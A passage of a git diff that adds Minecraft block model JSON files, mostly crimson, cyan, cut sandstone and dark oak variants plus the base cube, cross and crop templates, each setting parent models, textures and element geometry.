+1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate_open", + "textures": { + "texture": "minecraft:block/crimson_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_fence_gate_wall.json b/src/assets/minecraft/models/block/crimson_fence_gate_wall.json new file mode 100644 index 00000000..b3704b27 --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_fence_gate_wall.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate_wall", + "textures": { + "texture": "minecraft:block/crimson_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_fence_gate_wall_open.json b/src/assets/minecraft/models/block/crimson_fence_gate_wall_open.json new file mode 100644 index 00000000..5ba60043 --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_fence_gate_wall_open.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate_wall_open", + "textures": { + "texture": "minecraft:block/crimson_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_fence_inventory.json b/src/assets/minecraft/models/block/crimson_fence_inventory.json new file mode 100644 index 00000000..16f625d5 --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_fence_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/fence_inventory", + "textures": { + "texture": "minecraft:block/crimson_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_fence_post.json b/src/assets/minecraft/models/block/crimson_fence_post.json new file mode 100644 index 00000000..f5f14658 --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_fence_post.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/fence_post", + "textures": { + "texture": "minecraft:block/crimson_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_fence_side.json b/src/assets/minecraft/models/block/crimson_fence_side.json new file mode 100644 index 00000000..62765764 --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_fence_side.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/fence_side", + "textures": { + "texture": "minecraft:block/crimson_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_fungus.json b/src/assets/minecraft/models/block/crimson_fungus.json new file mode 100644 index 00000000..351e2bce --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_fungus.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/crimson_fungus" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_hyphae.json b/src/assets/minecraft/models/block/crimson_hyphae.json new file mode 100644 index 00000000..43c990a5 --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_hyphae.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/crimson_stem", + "side": "minecraft:block/crimson_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_nylium.json b/src/assets/minecraft/models/block/crimson_nylium.json new file mode 100644 index 00000000..60a7e3ad --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_nylium.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/cube_bottom_top", + "textures": { + "top": "minecraft:block/crimson_nylium", + "bottom": "minecraft:block/netherrack", + "side": "minecraft:block/crimson_nylium_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_planks.json b/src/assets/minecraft/models/block/crimson_planks.json new file mode 100644 index 00000000..9bf1ea13 --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_planks.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/crimson_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_pressure_plate.json b/src/assets/minecraft/models/block/crimson_pressure_plate.json new file mode 100644 index 00000000..6d6a2265 --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_pressure_plate.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/pressure_plate_up", + "textures": { + "texture": "minecraft:block/crimson_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_pressure_plate_down.json b/src/assets/minecraft/models/block/crimson_pressure_plate_down.json new file mode 100644 index 00000000..df5febdd --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_pressure_plate_down.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/pressure_plate_down", + "textures": { + "texture": "minecraft:block/crimson_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_roots.json b/src/assets/minecraft/models/block/crimson_roots.json new file mode 100644 index 00000000..5bf542bc --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_roots.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/crimson_roots" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_sign.json b/src/assets/minecraft/models/block/crimson_sign.json new file mode 100644 index 00000000..1b9953d8 --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_sign.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/crimson_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_slab.json b/src/assets/minecraft/models/block/crimson_slab.json new file mode 100644 index 00000000..b9b29bb5 --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/crimson_planks", + "top": "minecraft:block/crimson_planks", + "side": "minecraft:block/crimson_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_slab_top.json b/src/assets/minecraft/models/block/crimson_slab_top.json new file mode 100644 index 00000000..dcffd17a --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/crimson_planks", + "top": "minecraft:block/crimson_planks", + "side": "minecraft:block/crimson_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_stairs.json b/src/assets/minecraft/models/block/crimson_stairs.json new file mode 100644 index 00000000..b4c02af7 --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/crimson_planks", + "top": "minecraft:block/crimson_planks", + "side": "minecraft:block/crimson_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_stairs_inner.json b/src/assets/minecraft/models/block/crimson_stairs_inner.json new file mode 100644 index 00000000..a9c91a6a --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/crimson_planks", + "top": "minecraft:block/crimson_planks", + "side": "minecraft:block/crimson_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_stairs_outer.json b/src/assets/minecraft/models/block/crimson_stairs_outer.json new file mode 100644 index 00000000..42ff557e --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/crimson_planks", + "top": "minecraft:block/crimson_planks", + "side": "minecraft:block/crimson_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_stem.json b/src/assets/minecraft/models/block/crimson_stem.json new file mode 100644 index 00000000..c8f5c784 --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_stem.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/crimson_stem_top", + "side": "minecraft:block/crimson_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_trapdoor_bottom.json b/src/assets/minecraft/models/block/crimson_trapdoor_bottom.json new file mode 100644 index 00000000..b83e4bbc --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_trapdoor_bottom.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_orientable_trapdoor_bottom", + "textures": { + "texture": "minecraft:block/crimson_trapdoor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_trapdoor_open.json b/src/assets/minecraft/models/block/crimson_trapdoor_open.json new file mode 100644 index 00000000..ad3d11e0 --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_trapdoor_open.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_orientable_trapdoor_open", + "textures": { + "texture": "minecraft:block/crimson_trapdoor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_trapdoor_top.json b/src/assets/minecraft/models/block/crimson_trapdoor_top.json new file mode 100644 index 00000000..2b8e4d9f --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_trapdoor_top.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_orientable_trapdoor_top", + "textures": { + "texture": "minecraft:block/crimson_trapdoor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crop.json b/src/assets/minecraft/models/block/crop.json new file mode 100644 index 00000000..9cc479e4 --- /dev/null +++ b/src/assets/minecraft/models/block/crop.json @@ -0,0 +1,40 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#crop" + }, + "elements": [ + { "from": [ 4, -1, 0 ], + "to": [ 4, 15, 16 ], + "shade": false, + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#crop" }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#crop" } + } + }, + { "from": [ 12, -1, 0 ], + "to": [ 12, 15, 16 ], + "shade": false, + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#crop" }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#crop" } + } + }, + { "from": [ 0, -1, 4 ], + "to": [ 16, 15, 4 ], + "shade": false, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#crop" }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#crop" } + } + }, + { "from": [ 0, -1, 12 ], + "to": [ 16, 15, 12 ], + "shade": false, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#crop" }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#crop" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/cross.json b/src/assets/minecraft/models/block/cross.json new file mode 100644 index 00000000..37c8b09f --- /dev/null +++ b/src/assets/minecraft/models/block/cross.json @@ -0,0 +1,26 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#cross" + }, + "elements": [ + { "from": [ 0.8, 0, 8 ], + "to": [ 15.2, 16, 8 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "shade": false, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#cross" }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#cross" } + } + }, + { "from": [ 8, 0, 0.8 ], + "to": [ 8, 16, 15.2 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "shade": false, + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#cross" }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#cross" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/crying_obsidian.json b/src/assets/minecraft/models/block/crying_obsidian.json new file mode 100644 index 00000000..95991746 --- /dev/null +++ b/src/assets/minecraft/models/block/crying_obsidian.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/crying_obsidian" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cube.json b/src/assets/minecraft/models/block/cube.json new file mode 100644 index 00000000..1b9780b4 --- /dev/null +++ b/src/assets/minecraft/models/block/cube.json @@ -0,0 +1,16 @@ +{ + "parent": "block/block", + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 16, 16 ], + "faces": { + "down": { "texture": "#down", "cullface": "down" }, + "up": { "texture": "#up", "cullface": "up" }, + "north": { "texture": "#north", "cullface": "north" }, + "south": { "texture": "#south", "cullface": "south" }, + "west": { "texture": "#west", "cullface": "west" }, + "east": { "texture": "#east", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/cube_all.json b/src/assets/minecraft/models/block/cube_all.json new file mode 100644 index 00000000..fa2f9e77 --- /dev/null +++ b/src/assets/minecraft/models/block/cube_all.json @@ -0,0 +1,12 @@ +{ + "parent": "block/cube", + "textures": { + "particle": "#all", + "down": "#all", + "up": "#all", + "north": "#all", + "east": "#all", + "south": "#all", + "west": "#all" + } +} diff --git a/src/assets/minecraft/models/block/cube_bottom_top.json b/src/assets/minecraft/models/block/cube_bottom_top.json new file mode 100644 index 00000000..4c610597 --- /dev/null +++ b/src/assets/minecraft/models/block/cube_bottom_top.json @@ -0,0 +1,12 @@ +{ + "parent": "block/cube", + "textures": { + "particle": "#side", + "down": "#bottom", + "up": "#top", + "north": "#side", + "east": "#side", + "south": "#side", + "west": "#side" + } +} diff --git a/src/assets/minecraft/models/block/cube_column.json b/src/assets/minecraft/models/block/cube_column.json new file mode 100644 index 00000000..358b9847 --- /dev/null +++ b/src/assets/minecraft/models/block/cube_column.json @@ -0,0 +1,12 @@ +{ + "parent": "block/cube", + "textures": { + "particle": "#side", + "down": "#end", + "up": "#end", + "north": "#side", + "east": "#side", + "south": "#side", + "west": "#side" + } +} diff --git a/src/assets/minecraft/models/block/cube_column_horizontal.json b/src/assets/minecraft/models/block/cube_column_horizontal.json new file mode 100644 index 00000000..713dd819 --- /dev/null +++ b/src/assets/minecraft/models/block/cube_column_horizontal.json @@ -0,0 +1,25 @@ +{ + "parent": "block/block", + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 16, 16 ], + "faces": { + "down": { "texture": "#down", "cullface": "down" }, + "up": { "texture": "#up", "rotation": 180, "cullface": "up" }, + "north": { "texture": "#north", "cullface": "north" }, + "south": { "texture": "#south", "cullface": "south" }, + "west": { "texture": "#west", "cullface": "west" }, + "east": { "texture": "#east", "cullface": "east" } + } + } + ], + "textures": { + "particle": "#side", + "down": "#end", + "up": "#end", + "north": "#side", + "east": "#side", + "south": "#side", + "west": "#side" + } +} diff --git a/src/assets/minecraft/models/block/cube_directional.json b/src/assets/minecraft/models/block/cube_directional.json new file mode 100644 index 00000000..09fadd01 --- /dev/null +++ b/src/assets/minecraft/models/block/cube_directional.json @@ -0,0 +1,16 @@ +{ + "parent": "block/block", + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 16, 16 ], + "faces": { + "down": { "texture": "#down", "cullface": "down", "rotation": 180 }, + "up": { "texture": "#up", "cullface": "up" }, + "north": { "texture": "#north", "cullface": "north" }, + "south": { "texture": "#south", "cullface": "south" }, + "west": { "texture": "#west", "cullface": "west", "rotation": 270 }, + "east": { "texture": "#east", "cullface": "east", "rotation": 90 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/cube_mirrored.json b/src/assets/minecraft/models/block/cube_mirrored.json new file mode 100644 index 00000000..38f44bda --- /dev/null +++ b/src/assets/minecraft/models/block/cube_mirrored.json @@ -0,0 +1,15 @@ +{ + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 16, 16 ], + "faces": { + "down": { "uv": [16, 0, 0, 16], "texture": "#down", "cullface": "down" }, + "up": { "uv": [16, 0, 0, 16], "texture": "#up", "cullface": "up" }, + "north": { "uv": [16, 0, 0, 16], "texture": "#north", "cullface": "north" }, + "south": { "uv": [16, 0, 0, 16], "texture": "#south", "cullface": "south" }, + "west": { "uv": [16, 0, 0, 16], "texture": "#west", "cullface": "west" }, + "east": { "uv": [16, 0, 0, 16], "texture": "#east", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/cube_mirrored_all.json b/src/assets/minecraft/models/block/cube_mirrored_all.json new file mode 100644 index 00000000..75743f20 --- /dev/null +++ b/src/assets/minecraft/models/block/cube_mirrored_all.json @@ -0,0 +1,12 @@ +{ + "parent": "block/cube_mirrored", + "textures": { + "particle": "#all", + "down": "#all", + "up": "#all", + "north": "#all", + "east": "#all", + "south": "#all", + "west": "#all" + } +} diff --git a/src/assets/minecraft/models/block/cube_top.json b/src/assets/minecraft/models/block/cube_top.json new file mode 100644 index 00000000..a0c1d569 --- /dev/null +++ b/src/assets/minecraft/models/block/cube_top.json @@ -0,0 +1,12 @@ +{ + "parent": "block/cube", + "textures": { + "particle": "#side", + "down": "#side", + "up": "#top", + "north": "#side", + "east": "#side", + "south": "#side", + "west": "#side" + } +} diff --git a/src/assets/minecraft/models/block/cut_red_sandstone.json b/src/assets/minecraft/models/block/cut_red_sandstone.json new file mode 100644 index 00000000..120aff8f --- /dev/null +++ b/src/assets/minecraft/models/block/cut_red_sandstone.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/red_sandstone_top", + "side": "minecraft:block/cut_red_sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cut_red_sandstone_slab.json b/src/assets/minecraft/models/block/cut_red_sandstone_slab.json new file mode 100644 index 00000000..5a0dc28a --- /dev/null +++ b/src/assets/minecraft/models/block/cut_red_sandstone_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/red_sandstone_top", + "top": "minecraft:block/red_sandstone_top", + "side": "minecraft:block/cut_red_sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cut_red_sandstone_slab_top.json b/src/assets/minecraft/models/block/cut_red_sandstone_slab_top.json new file mode 100644 index 00000000..72b4bb65 --- /dev/null +++ b/src/assets/minecraft/models/block/cut_red_sandstone_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/red_sandstone_top", + "top": "minecraft:block/red_sandstone_top", + "side": "minecraft:block/cut_red_sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cut_sandstone.json b/src/assets/minecraft/models/block/cut_sandstone.json new file mode 100644 index 00000000..00a391fc --- /dev/null +++ b/src/assets/minecraft/models/block/cut_sandstone.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/sandstone_top", + "side": "minecraft:block/cut_sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cut_sandstone_slab.json b/src/assets/minecraft/models/block/cut_sandstone_slab.json new file mode 100644 index 00000000..c61004da --- /dev/null +++ b/src/assets/minecraft/models/block/cut_sandstone_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/sandstone_top", + "top": "minecraft:block/sandstone_top", + "side": "minecraft:block/cut_sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cut_sandstone_slab_top.json b/src/assets/minecraft/models/block/cut_sandstone_slab_top.json new file mode 100644 index 00000000..c0c0becd --- /dev/null +++ b/src/assets/minecraft/models/block/cut_sandstone_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/sandstone_top", + "top": "minecraft:block/sandstone_top", + "side": "minecraft:block/cut_sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cyan_carpet.json b/src/assets/minecraft/models/block/cyan_carpet.json new file mode 100644 index 00000000..65c4e330 --- /dev/null +++ b/src/assets/minecraft/models/block/cyan_carpet.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/carpet", + "textures": { + "wool": "minecraft:block/cyan_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cyan_concrete.json b/src/assets/minecraft/models/block/cyan_concrete.json new file mode 100644 index 00000000..4972d16f --- /dev/null +++ b/src/assets/minecraft/models/block/cyan_concrete.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/cyan_concrete" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cyan_concrete_powder.json b/src/assets/minecraft/models/block/cyan_concrete_powder.json new file mode 100644 index 00000000..0043a499 --- /dev/null +++ b/src/assets/minecraft/models/block/cyan_concrete_powder.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/cyan_concrete_powder" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cyan_glazed_terracotta.json b/src/assets/minecraft/models/block/cyan_glazed_terracotta.json new file mode 100644 index 00000000..19e3f705 --- /dev/null +++ b/src/assets/minecraft/models/block/cyan_glazed_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glazed_terracotta", + "textures": { + "pattern": "minecraft:block/cyan_glazed_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cyan_shulker_box.json b/src/assets/minecraft/models/block/cyan_shulker_box.json new file mode 100644 index 00000000..748f7d9f --- /dev/null +++ b/src/assets/minecraft/models/block/cyan_shulker_box.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/cyan_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cyan_stained_glass.json b/src/assets/minecraft/models/block/cyan_stained_glass.json new file mode 100644 index 00000000..7966749e --- /dev/null +++ b/src/assets/minecraft/models/block/cyan_stained_glass.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/cyan_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cyan_stained_glass_pane_noside.json b/src/assets/minecraft/models/block/cyan_stained_glass_pane_noside.json new file mode 100644 index 00000000..c3caf2ef --- /dev/null +++ b/src/assets/minecraft/models/block/cyan_stained_glass_pane_noside.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside", + "textures": { + "pane": "minecraft:block/cyan_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cyan_stained_glass_pane_noside_alt.json b/src/assets/minecraft/models/block/cyan_stained_glass_pane_noside_alt.json new file mode 100644 index 00000000..596a41aa --- /dev/null +++ b/src/assets/minecraft/models/block/cyan_stained_glass_pane_noside_alt.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside_alt", + "textures": { + "pane": "minecraft:block/cyan_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cyan_stained_glass_pane_post.json b/src/assets/minecraft/models/block/cyan_stained_glass_pane_post.json new file mode 100644 index 00000000..f56f76cb --- /dev/null +++ b/src/assets/minecraft/models/block/cyan_stained_glass_pane_post.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_post", + "textures": { + "pane": "minecraft:block/cyan_stained_glass", + "edge": "minecraft:block/cyan_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cyan_stained_glass_pane_side.json b/src/assets/minecraft/models/block/cyan_stained_glass_pane_side.json new file mode 100644 index 00000000..eeae110a --- /dev/null +++ b/src/assets/minecraft/models/block/cyan_stained_glass_pane_side.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side", + "textures": { + "pane": "minecraft:block/cyan_stained_glass", + "edge": "minecraft:block/cyan_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cyan_stained_glass_pane_side_alt.json b/src/assets/minecraft/models/block/cyan_stained_glass_pane_side_alt.json new file mode 100644 index 00000000..bca5712f --- /dev/null +++ b/src/assets/minecraft/models/block/cyan_stained_glass_pane_side_alt.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side_alt", + "textures": { + "pane": "minecraft:block/cyan_stained_glass", + "edge": "minecraft:block/cyan_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cyan_terracotta.json b/src/assets/minecraft/models/block/cyan_terracotta.json new file mode 100644 index 00000000..bbf073e1 --- /dev/null +++ b/src/assets/minecraft/models/block/cyan_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/cyan_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cyan_wool.json b/src/assets/minecraft/models/block/cyan_wool.json new file mode 100644 index 00000000..d686a240 --- /dev/null +++ b/src/assets/minecraft/models/block/cyan_wool.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/cyan_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/damaged_anvil.json b/src/assets/minecraft/models/block/damaged_anvil.json new file mode 100644 index 00000000..33ea477b --- /dev/null +++ b/src/assets/minecraft/models/block/damaged_anvil.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_anvil", + "textures": { + "top": "minecraft:block/damaged_anvil_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dandelion.json b/src/assets/minecraft/models/block/dandelion.json new file mode 100644 index 00000000..1b23461e --- /dev/null +++ b/src/assets/minecraft/models/block/dandelion.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/dandelion" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_button.json b/src/assets/minecraft/models/block/dark_oak_button.json new file mode 100644 index 00000000..9a8ceb0e --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_button.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button", + "textures": { + "texture": "minecraft:block/dark_oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_button_inventory.json b/src/assets/minecraft/models/block/dark_oak_button_inventory.json new file mode 100644 index 00000000..682f7e70 --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_button_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button_inventory", + "textures": { + "texture": "minecraft:block/dark_oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_button_pressed.json b/src/assets/minecraft/models/block/dark_oak_button_pressed.json new file mode 100644 index 00000000..9212bf49 --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_button_pressed.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button_pressed", + "textures": { + "texture": "minecraft:block/dark_oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_door_bottom.json b/src/assets/minecraft/models/block/dark_oak_door_bottom.json new file mode 100644 index 00000000..f65ed88d --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_door_bottom.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_bottom", + "textures": { + "top": "minecraft:block/dark_oak_door_top", + "bottom": "minecraft:block/dark_oak_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_door_bottom_hinge.json b/src/assets/minecraft/models/block/dark_oak_door_bottom_hinge.json new file mode 100644 index 00000000..e33d09c1 --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_door_bottom_hinge.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_bottom_rh", + "textures": { + "top": "minecraft:block/dark_oak_door_top", + "bottom": "minecraft:block/dark_oak_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_door_top.json b/src/assets/minecraft/models/block/dark_oak_door_top.json new file mode 100644 index 00000000..6bb09789 --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_door_top.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_top", + "textures": { + "top": "minecraft:block/dark_oak_door_top", + "bottom": "minecraft:block/dark_oak_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_door_top_hinge.json b/src/assets/minecraft/models/block/dark_oak_door_top_hinge.json new file mode 100644 index 00000000..3a63670a --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_door_top_hinge.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_top_rh", + "textures": { + "top": "minecraft:block/dark_oak_door_top", + "bottom": "minecraft:block/dark_oak_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_fence_gate.json b/src/assets/minecraft/models/block/dark_oak_fence_gate.json new file mode 100644 index 00000000..d6cd9106 --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_fence_gate.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate", + "textures": { + "texture": "minecraft:block/dark_oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_fence_gate_open.json b/src/assets/minecraft/models/block/dark_oak_fence_gate_open.json new file mode 100644 index 00000000..5ab6d1bc --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_fence_gate_open.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate_open", + "textures": { + "texture": "minecraft:block/dark_oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_fence_gate_wall.json b/src/assets/minecraft/models/block/dark_oak_fence_gate_wall.json new file mode 100644 index 00000000..5e372cce --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_fence_gate_wall.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate_wall", + "textures": { + "texture": 